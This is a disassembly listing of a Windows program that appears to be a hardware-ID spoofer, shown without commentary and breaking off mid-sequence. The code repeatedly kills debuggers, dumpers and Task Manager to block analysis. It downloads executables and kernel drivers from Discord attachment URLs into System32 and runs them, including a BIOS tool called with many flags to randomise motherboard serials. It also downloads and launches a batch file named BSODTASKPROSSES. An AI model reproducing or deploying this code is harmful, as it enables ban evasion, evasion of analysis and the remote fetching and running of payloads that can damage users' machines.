lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x4ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x4af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x4b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x4b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x4b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x4b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x4b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x4bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4bb0]
call fcn.14005d8e0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xacb0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xac90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xac90]
call fcn.14005d8d0
mov qword [rsp + 0x1158], rax
lea rcx, [rsp + 0xacb0]
call fcn.14005d8d0
mov qword [rsp + 0x1160], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1158]
mov rdx, qword [rsp + 0x1160]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x4bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x4bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4bf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x4c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x4c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x4c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x4c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x4c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x4cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x4cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4cd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x4cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x4d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x4d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x4d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x4d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x4d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4d90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x4db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x4dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4dd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4dd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x4df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x4e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x4e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV__random___random___random_
lea rcx, [rsp + 0x4e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x4e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x4e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4e90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x4eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x4ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4ed0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x4ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x4f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x4f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x4f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x4f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x4f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x4fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x4fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x4ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x5010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x5030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x5050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x5070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x5090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x50b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x50b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x50b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
